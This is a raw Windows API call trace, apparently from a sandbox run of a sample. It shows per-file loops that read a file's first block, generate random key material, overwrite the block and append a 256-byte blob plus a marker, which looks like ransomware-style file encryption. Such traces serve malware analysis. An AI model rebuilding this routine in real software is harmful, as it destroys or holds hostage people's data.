lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0080.439] WriteFile (in: hFile=0x7d8, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0080.439] GetProcessHeap () returned 0x540000 [0080.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0080.439] GetProcessHeap () returned 0x540000 [0080.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0080.439] GetProcessHeap () returned 0x540000 [0080.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0080.439] CloseHandle (hObject=0x7d8) returned 1 [0080.441] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 25 [0080.441] SetFilePointerEx (in: hFile=0x7dc, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.441] ReadFile (in: hFile=0x7dc, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0080.441] SetFilePointerEx (in: hFile=0x7dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.441] GetProcessHeap () returned 0x540000 [0080.441] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0080.441] GetProcessHeap () returned 0x540000 [0080.441] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0080.441] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0080.441] GetProcessHeap () returned 0x540000 [0080.441] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0080.441] ReadFile (in: hFile=0x7dc, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0080.545] SetFilePointerEx (in: hFile=0x7dc, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.545] WriteFile (in: hFile=0x7dc, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0080.546] GetProcessHeap () returned 0x540000 [0080.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0080.546] GetProcessHeap () returned 0x540000 [0080.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.546] GetProcessHeap () returned 0x540000 [0080.547] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.547] GetProcessHeap () returned 0x540000 [0080.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.547] GetProcessHeap () returned 0x540000 [0080.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0080.548] GetProcessHeap () returned 0x540000 [0080.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.548] GetProcessHeap () returned 0x540000 [0080.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.549] GetProcessHeap () returned 0x540000 [0080.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.550] GetProcessHeap () returned 0x540000 [0080.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.550] GetProcessHeap () returned 0x540000 [0080.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.550] GetProcessHeap () returned 0x540000 [0080.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.550] GetProcessHeap () returned 0x540000 [0080.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.550] GetProcessHeap () returned 0x540000 [0080.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.550] GetProcessHeap () returned 0x540000 [0080.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.550] GetProcessHeap () returned 0x540000 [0080.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.550] GetProcessHeap () returned 0x540000 [0080.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.550] GetProcessHeap () returned 0x540000 [0080.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.550] GetProcessHeap () returned 0x540000 [0080.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.550] GetProcessHeap () returned 0x540000 [0080.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.550] GetProcessHeap () returned 0x540000 [0080.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.550] GetProcessHeap () returned 0x540000 [0080.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.550] GetProcessHeap () returned 0x540000 [0080.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.551] GetProcessHeap () returned 0x540000 [0080.551] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.551] GetProcessHeap () returned 0x540000 [0080.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.551] GetProcessHeap () returned 0x540000 [0080.551] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0080.551] GetProcessHeap () returned 0x540000 [0080.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.551] GetProcessHeap () returned 0x540000 [0080.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0080.551] GetProcessHeap () returned 0x540000 [0080.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0080.551] GetProcessHeap () returned 0x540000 [0080.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.551] GetProcessHeap () returned 0x540000 [0080.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0080.551] SetFilePointerEx (in: hFile=0x7dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.551] WriteFile (in: hFile=0x7dc, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0080.551] WriteFile (in: hFile=0x7dc, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0080.551] GetProcessHeap () returned 0x540000 [0080.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0080.552] GetProcessHeap () returned 0x540000 [0080.552] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0080.552] GetProcessHeap () returned 0x540000 [0080.552] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0080.552] CloseHandle (hObject=0x7dc) returned 1 [0080.555] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 26 [0080.555] SetFilePointerEx (in: hFile=0x7e0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.555] ReadFile (in: hFile=0x7e0, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0080.555] SetFilePointerEx (in: hFile=0x7e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.555] GetProcessHeap () returned 0x540000 [0080.555] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0080.555] GetProcessHeap () returned 0x540000 [0080.555] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0080.555] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0080.555] GetProcessHeap () returned 0x540000 [0080.555] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0080.555] ReadFile (in: hFile=0x7e0, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0080.842] SetFilePointerEx (in: hFile=0x7e0, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.843] WriteFile (in: hFile=0x7e0, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0080.843] GetProcessHeap () returned 0x540000 [0080.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0080.843] GetProcessHeap () returned 0x540000 [0080.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.843] GetProcessHeap () returned 0x540000 [0080.843] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0080.843] GetProcessHeap () returned 0x540000 [0080.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.843] GetProcessHeap () returned 0x540000 [0080.843] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0080.843] GetProcessHeap () returned 0x540000 [0080.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.843] GetProcessHeap () returned 0x540000 [0080.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.843] GetProcessHeap () returned 0x540000 [0080.843] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.843] GetProcessHeap () returned 0x540000 [0080.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.843] GetProcessHeap () returned 0x540000 [0080.843] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.843] GetProcessHeap () returned 0x540000 [0080.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.843] GetProcessHeap () returned 0x540000 [0080.843] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.843] GetProcessHeap () returned 0x540000 [0080.843] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.843] GetProcessHeap () returned 0x540000 [0080.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.844] GetProcessHeap () returned 0x540000 [0080.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.844] GetProcessHeap () returned 0x540000 [0080.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.845] GetProcessHeap () returned 0x540000 [0080.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.846] GetProcessHeap () returned 0x540000 [0080.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.846] GetProcessHeap () returned 0x540000 [0080.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.846] GetProcessHeap () returned 0x540000 [0080.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.846] GetProcessHeap () returned 0x540000 [0080.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.846] GetProcessHeap () returned 0x540000 [0080.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.846] GetProcessHeap () returned 0x540000 [0080.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.846] GetProcessHeap () returned 0x540000 [0080.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.846] GetProcessHeap () returned 0x540000 [0080.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.846] GetProcessHeap () returned 0x540000 [0080.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.846] GetProcessHeap () returned 0x540000 [0080.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.846] GetProcessHeap () returned 0x540000 [0080.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.846] GetProcessHeap () returned 0x540000 [0080.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.846] GetProcessHeap () returned 0x540000 [0080.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 